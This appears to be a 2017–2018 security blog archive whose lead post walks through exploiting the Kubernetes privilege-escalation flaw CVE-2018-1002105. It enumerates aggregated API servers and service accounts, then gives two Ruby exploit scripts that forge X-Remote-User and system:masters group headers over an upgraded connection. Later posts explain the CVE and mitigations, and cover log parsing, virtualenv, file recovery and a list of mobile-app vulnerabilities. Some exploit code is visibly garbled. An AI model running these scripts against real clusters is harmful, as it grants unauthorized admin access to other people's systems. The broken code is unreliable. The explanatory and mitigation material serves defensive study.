Friday, December 21, 2018

Exploiting Kubernetes Privilege Escalation (CVE-2018-1002105)

According to github vulnerability page [02], it can be exploited in two ways
  • Aggregated API Servers configured
  • Grant Pod attach/exec/portforward permissions

Aggregated API Servers

List of aggregated API servers configured in the cluster

$ kubectl get apiservices -o 'jsonpath={range .items[?(!="")]}{}{"\n"}{end}'

Most of the time metrics aggregation service comes from the vendors and installed by default on kubernetes clusters. Service Catalog is installed by cluster admins based on requirements.

Metrics server details

$ kubectl get apiservices -o json
    "apiVersion": "",
    "kind": "APIService",
    "metadata": {
        "annotations": {
            "": "{\"apiVersion\":\"\",\"kind\":\"APIService\",\"metadata\":{\"annotations\":{},\"labels\":{\"\":\"Reconcile\",\"\":\"metrics-server\"},\"name\":\"\",\"namespace\":\"\"},\"spec\":{\"group\":\"\",\"groupPriorityMinimum\":100,\"insecureSkipTLSVerify\":true,\"service\":{\"name\":\"metrics-server\",\"namespace\":\"kube-system\"},\"version\":\"v1beta1\",\"versionPriority\":100}}\n"
        "creationTimestamp": "2018-12-18T21:52:00Z",
        "labels": {
            "": "Reconcile",
            "": "metrics-server"
        "name": "",
        "resourceVersion": "13945",
        "selfLink": "/apis/",
        "uid": "25c4530a-030f-11e9-8cd1-0800276668cf"
    "spec": {
        "caBundle": null,
        "group": "",
        "groupPriorityMinimum": 100,
        "insecureSkipTLSVerify": true,
        "service": {
            "name": "metrics-server",
            "namespace": "kube-system"
        "version": "v1beta1",
        "versionPriority": 100
    "status": {
        "conditions": [
                "lastTransitionTime": "2018-12-19T20:25:23Z",
                "message": "all checks passed",
                "reason": "Passed",
                "status": "True",
                "type": "Available"

Catalog server details

$ kubectl get apiservices -o json
    "apiVersion": "",
    "kind": "APIService",
    "metadata": {
        "creationTimestamp": "2018-12-19T21:47:13Z",
        "name": "",
        "resourceVersion": "16958",
        "selfLink": "/apis/",
        "uid": "a5162df4-03d7-11e9-b1ef-0800276668cf"
    "spec": {
        "caBundle": "LS0tLS1...URS0tLS0tCg==",
        "group": "",
        "groupPriorityMinimum": 10000,
        "service": {
            "name": "catalog-catalog-apiserver",
            "namespace": "catalog"
        "version": "v1beta1",
        "versionPriority": 20
    "status": {
        "conditions": [
                "lastTransitionTime": "2018-12-19T21:48:27Z",
                "message": "all checks passed",
                "reason": "Passed",
                "status": "True",
                "type": "Available"

Resources under different aggregated API's

$ kubectl api-resources | grep -i
backupinfrastructures             backupinfra             true         BackupInfrastructure
cloudprofiles                                      false        CloudProfile
projects                                           false        Project
quotas                            squota             true         Quota
secretbindings                    sb               true         SecretBinding
seeds                                              false        Seed
shoots                                             true         Shoot

$ kubectl api-resources | grep -i
nodes                                                  false        NodeMetrics

pods                                                   true         PodMetrics

$ kubectl api-resources | grep -iE "|namespace"
NAME                              SHORTNAMES   APIGROUP                       NAMESPACED   KIND
clusterservicebrokers                          false        ClusterServiceBroker
clusterserviceclasses                          false        ClusterServiceClass
clusterserviceplans                            false        ClusterServicePlan
servicebindings                                true         ServiceBinding
servicebrokers                                 true         ServiceBroker
serviceclasses                                 true         ServiceClass
serviceinstances                               true         ServiceInstance

serviceplans                                   true         ServicePlan

According to Kubernetes Github vulnerability description:
With a specially crafted request, users that are authorized to establish a connection through the Kubernetes API server to a backend server can then send arbitrary requests over the same connection directly to that backend, authenticated with the Kubernetes API server’s TLS credentials used to establish the backend connection.

Service Accounts/Users

Default service-accounts inside a kubernetes cluster
$ kubectl get sa --all-namespaces
NAMESPACE     NAME                                 SECRETS   AGE
catalog       default                              1         1h
catalog       service-catalog-apiserver            1         1h
catalog       service-catalog-controller-manager   1         1h
default       default                              1         1d
kube-public   default                              1         1d
kube-system   attachdetach-controller              1         1d
kube-system   bootstrap-signer                     1         1d
kube-system   certificate-controller               1         1d
kube-system   clusterrole-aggregation-controller   1         1d
kube-system   cronjob-controller                   1         1d
kube-system   daemon-set-controller                1         1d
kube-system   default                              1         1d
kube-system   deployment-controller                1         1d
kube-system   disruption-controller                1         1d
kube-system   endpoint-controller                  1         1d
kube-system   generic-garbage-collector            1         1d
kube-system   horizontal-pod-autoscaler            1         1d
kube-system   job-controller                       1         1d
kube-system   kube-dns                             1         1d
kube-system   kube-proxy                           1         1d
kube-system   namespace-controller                 1         1d
kube-system   nginx-ingress                        1         1d
kube-system   node-controller                      1         1d
kube-system   persistent-volume-binder             1         1d
kube-system   pod-garbage-collector                1         1d
kube-system   pv-protection-controller             1         1d
kube-system   pvc-protection-controller            1         1d
kube-system   replicaset-controller                1         1d
kube-system   replication-controller               1         1d
kube-system   resourcequota-controller             1         1d
kube-system   service-account-controller           1         1d
kube-system   service-controller                   1         1d
kube-system   statefulset-controller               1         1d
kube-system   storage-provisioner                  1         1d
kube-system   token-cleaner                        1         1d
kube-system   ttl-controller                       1         1d
pd            default                              1         1d

These service accounts can also be accessed in the form
for example system:serviceaccount:kube-system:horizontal-pod-autoscaler


Check want permissions a service account has
$ kubectl auth can-i create pods --all-namespaces
$ kubectl auth can-i create pods --all-namespaces --as system:serviceaccount:kube-system:horizontal-pod-autoscaler
$ kubectl auth can-i create pods --all-namespaces --as system:serviceaccount:kube-system:default
$ kubectl auth can-i exec pods --all-namespaces --as system:serviceaccount:catalog:service-catalog-controller-manager
$ kubectl auth can-i exec pods --all-namespaces --as system:serviceaccount:kube-system:default

API Server

API Server admission controller parameters
$ kubectl get po kube-apiserver-minikube -n kube-system -o yaml
  - command:
    - kube-apiserver
    - --admission-control=Initializers,NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationSeconds,NodeRestriction,MutatingAdmissionWebhook,ValidatingAdmissionWebhook,ResourceQuota
    - --insecure-port=0
    - --requestheader-group-headers=X-Remote-Group
    - --requestheader-extra-headers-prefix=X-Remote-Extra-
    - --client-ca-file=/var/lib/minikube/certs/ca.crt
    - --tls-cert-file=/var/lib/minikube/certs/apiserver.crt
    - --kubelet-client-key=/var/lib/minikube/certs/apiserver-kubelet-client.key
    - --proxy-client-cert-file=/var/lib/minikube/certs/front-proxy-client.crt
    - --proxy-client-key-file=/var/lib/minikube/certs/front-proxy-client.key
    - --secure-port=8443
    - --enable-bootstrap-token-auth=true
    - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
    - --requestheader-username-headers=X-Remote-User
    - --service-account-key-file=/var/lib/minikube/certs/
    - --requestheader-client-ca-file=/var/lib/minikube/certs/front-proxy-ca.crt
    - --allow-privileged=true
    - --requestheader-allowed-names=front-proxy-client
    - --advertise-address=
    - --service-cluster-ip-range=
    - --tls-private-key-file=/var/lib/minikube/certs/apiserver.key
    - --kubelet-client-certificate=/var/lib/minikube/certs/apiserver-kubelet-client.crt
    - --authorization-mode=Node,RBAC
    - --etcd-servers=
    - --etcd-cafile=/var/lib/minikube/certs/etcd/ca.crt
    - --etcd-certfile=/var/lib/minikube/certs/apiserver-etcd-client.crt
    - --etcd-keyfile=/var/lib/minikube/certs/apiserver-etcd-client.key

To find out clusters API Server details
$ kubectl cluster-info
Kubernetes master is running at
KubeDNS is running at


There are two exploits available in the wild based on "Aggregated API Servers", no PoC's we found leveraging "Grant Pod attach/exec/portforward permissions".

Exploit 1: source [03]

#!/usr/bin/env ruby

require 'socket'
require 'openssl'
require 'json'

host = 'kubernetes'
metrics = '/apis/'

sock = host, 8443
ssl = sock
ssl.sync_close = true

ssl.puts "GET #{metrics} HTTP/1.1\r\nHost: #{host}\r\nUpgrade: WebSocket\r\nConnection: upgrade\r\n\r\n"
6.times { puts ssl.gets }
ssl.puts "GET #{metrics}/pods HTTP/1.1\r\nHost: #{host}\r\nX-Remote-User: system:serviceaccount:kube-system:horizontal-pod-autoscaler\r\n\r\n"
6.times { puts ssl.gets }

puts JSON.pretty_generate JSON.parse ssl.gets

Exploit 2: based on [04]

#!/usr/bin/env ruby

require 'socket'
require 'openssl'
require 'json'

host = 'kubernetes'
scatalog = '/apis/'

sock = host, 8443
ssl = sock
ssl.sync_close = true

ssl.puts "GET #{scatalog} HTTP/1.1\r\nHost: #{host}\r\nUpgrade: WebSocket\r\nConnection: upgrade\r\n\r\n"
6.times { puts ssl.gets }
ssl.puts "GET #{scatalog}/clusterservicebrokers HTTP/1.1\r\nHost: #{host}\r\nX-Remote-User: cluster-admin\r\nX-Remote-Group: system:masters\r\nX-Remote-Group: system:authenticated\r\n\r\n"

6.times { puts ssl.gets }

puts JSON.pretty_generate JSON.parse ssl.gets



Friday, December 7, 2018

Kubernetes Privilege Escalation (CVE-2018-1002105)


Kubernetes is an open source production grade container orchestration system for deploying and managing docker/container applications. There are managed kubernetes orchestration service providers like Amazon Elastic Container Service for Kubernetes (EKS), Azure Kubernetes Service (AKS) etc.


Kubernetes cluster users can perform management tasks using kubectl binary which talks to API Server. Example kubectl commands

# display pod resource
kubectl get pods -n my_namespace

# Execute a command in a container
kubectl -n my_namespace exec -it pods_name -- sh

# Listen on ports 5000 and 6000 locally, forwarding data to/from ports 5000 and 6000 in the pod
kubectl -n my_namespace port-forward pod/mypod 5000 6000

# Get output from ruby-container from pod my-pod-pd

kubectl attach my-pod-pd -c ruby-container

kubectl execution flow (source:


kubelet, kube-proxy run's on each compute node (VM, Worker, EC2 Instance etc), kubelet listens on TCP port 10250 and 10255 (with no authentication/authorization). API Server acts as Reverse Proxy to kubelet and API Aggregation. API Server connects to the kubelet to fulfill commands like exec, port=forward and opens a websocket connection which connects stdin, stdout, or stderr to user’s original call [01].

API Aggregation

Installing or writing additional API's into Kubernetes API Server i.e. extending core API Server


Vulnerability is in Kubernetes API Server, crafted request can execute arbitrary commands on the backend servers (pods) through the same channel client established to backend through API Server [02]

Check nodes Kubernetes version
$ kubectl get nodes -o wide
pd-worker-01 Ready node 13d v1.12.3 Container Linux by CoreOS 1745.7.0 (Rhyolite) 4.14.48-coreos-r2 docker://18.3.1
pd-worker-02 Ready node 13d v1.12.3 Container Linux by CoreOS 1745.7.0 (Rhyolite) 4.14.48-coreos-r2 docker://18.3.1
pd-worker-03 Ready node 13d v1.12.3 Container Linux by CoreOS 1745.7.0 (Rhyolite) 4.14.48-coreos-r2 docker://18.3.1

Vulnerable API Servers

If API server response looks as bellow and using vulnerable API versions of Kubernetes the you are vulnerable using anonymous-user escalation, patch Kubernetes immediately.
HTTP response error code 403 indicates Forbidden i.e. related to Authorization implies we successfully passed through Authentication phase.
{ "kind": "Status", "apiVersion": "v1", "metadata": { }, "status": "Failure", "message": "forbidden: User \"system:anonymous\" cannot get path \"/api/v1/\"", "reason": "Forbidden", "details": { }, "code": 403 }

anonymous user

By default, requests to the kubelet’s HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a username of system:anonymous and a group of system:unauthenticated.


There are three levels of escalation mitigations

1. anonymous user -> aggregated API server

API Server admission-controller parameter anonymous-auth is set to fault
$ kubectl get po kube-apiserver-01 -n prod -o yaml | grep -i "anonymous-auth" - --anonymous-auth=false 
$ kubectl get po kube-apiserver-01 -n stage -o yaml | grep -i "anonymous-auth" - --anonymous-auth=false

2. authenticated user -> aggregated API server

Suspend aggregated API servers usage

3. authorized pod exec/attach/portforward -> kubelet API

Remove pod exec/attach/portforward permissions for users



Saturday, January 20, 2018

AWS VPC Flow Logs grok Pattern

Amazon Web Services(AWS) can generate VPC flow logs, format below
2 123456789010 eni-abc123de 49761 3389 6 20 4249 1418530010 1418530070 REJECT OK

For more information on flow logs and grok filter plugin refer below links

grok patterns can be tested using below links

%{NONNEGINT:version} %{NONNEGINT:accountid} %{NOTSPACE:interface-id} %{NOTSPACE:srcaddr} %{NOTSPACE:dstaddr} %{NONNEGINT:srcport} %{NONNEGINT:dstport} %{NONNEGINT:protocol} %{NONNEGINT:packets} %{NONNEGINT:bytes} %{NONNEGINT:starttime} %{NONNEGINT:endtime} %{NOTSPACE:action} %{NOTSPACE:log-status}

Test using grokdebugger

Test using grokconstructor

You can also consider INT instead of NONNEGINT

Found few patterns by googling which looked like below, were not working on grokconstructor website.
%{NUMBER:version} %{NUMBER:account-id} %{NOTSPACE:interface-id} %{NOTSPACE:srcaddr} %{NOTSPACE:dstaddr} %{NOTSPACE:srcport:int} %{NOTSPACE:dstport:int} %{NOTSPACE:protocol:int} %{NOTSPACE:packets:int} %{NOTSPACE:bytes:int} %{NUMBER:start:int} %{NUMBER:end:int} %{NOTSPACE:action} %{NOTSPACE:log-status}

Tested on grokdebugger

Tested on grokconstructor

We can use the extracted variables from grok filter plugin in Kibana search or enhance data using logstash filter plugins geoip, dns, date etc.

Working in or using Python virtualenv

Install Python virtualenv on Ubuntu using below command
apt-get -y install python-virtualenv

Create virtualenv
$virtualenv test_env1
New python executable in test_env1/bin/python

$. test_env1/bin/activate
$source test_env1/bin/activate

Exit virtualenv

Switch between virtualenv’s
$workon test_env2

List all available virtualenv’s

virtualenvwrapper comes with few handy commands

$pip install virtualenvwrapper

virtualenvwrapper supports extra commands like

Saturday, December 23, 2017

Linux: Recovering files deleted using "rm -rf"

Removed python script file by accident. Following two methods worked for me in retrieving the file.

Trick 1:
This was posted on

$grep -a -B 40 -A 80 'string_from_file' /dev/sda1 > save_here.txt

-A 100 save 80 lines after match
-B 40 save 40 lines before match
string_from_file at least one unique string you remembered from deleted file
save_here.txt    retrieved content is copied here

Trick 2:
$lsof | grep -i "/path/to/file"
progname 1234 user_name 44 8,1 43219876 432890 /path/to/file
$cp /proc/1234/fd/44 /restore/file/tothis/path

Retrieved files might have unnecessary data or few lines might be arranged in reverse order.

Tuesday, October 17, 2017

FinTech, Mobile Applications and Vulnerabilities

Reverse Engineering: Applications published on Google Play or Apple App Store can be reverse engineered by malicious users and create similar applications. Companies can lose their intellectual property.
Insecure Data Storage: FinTech related applications save sensitive data like personally identifiable information (PII), card data (PCI), health information etc. Sensitive personal information saved on mobile should be encrypted.
SSL Pinning bypass: SSL Pinning will
One Time Password: OTP is used as second level of authentication.
OTP Spamming: OTP Spamming is requesting an API/URL which generates OTP by spoofing mobile number to victims phone number. If there is no proper validation, attacker can send many OTP SMS’s to victim phone
OTP Bypass:
-       Modifying checks: OTP validation can be bypassed by modifying checks in the request payload or URI parameters
-       Bypassing SS7
-       Malicious mobile apps sniffing OTP’s

All OWASP Top 10 or SANS Top 25 Vulnerabilities will be applicable.
- Cross Site Scripting (XSS): If the input values from user is not validated it might lead to java script execution vulnerabilities which might lead to cookie theft, redirection to malicious websites, DDoS attacks on other sites etc..
- SQL Injection: Improper input validation might lead to SQL Injection.
Privilege Escalation: If the authorization is not enforced properly, one user can access other users data.
- Authentication bypass
            SQL Injection
            Session ID Guessing
            Cookie values
- Command Execution: Improper input validation might lead to OS command execution
- Serialization/Deserialization: Data interpreted as code because of improper validation. This might lead to code execution in Java, PHP, Python
- WAF Bypass
- Ratelimiting Issues
            Important API’s
            Forgot/Reset Password
            Login page
            Other important/sensitive API’s
- XXE (XML External Entity) Attack
- SSRF (Server Side Request Forgery)
- JSON Injection
- DoS/DDoS (Layer 3, Layer 4 and Layer 7 attacks)

- Public S3 buckets: Will have files
- Public EBS Volumes: Might have sensitive information like SSH Keys, Server Keys, passwords etc.
- No Multi Factor Authentication (MFA, 2FA) to AWS
- Root logins
- Token Disclosure

Crypto Currency based exploitation in future
Sub-domain takeover
Vulnerabilities in protocols

Vulnerabilities in Hardware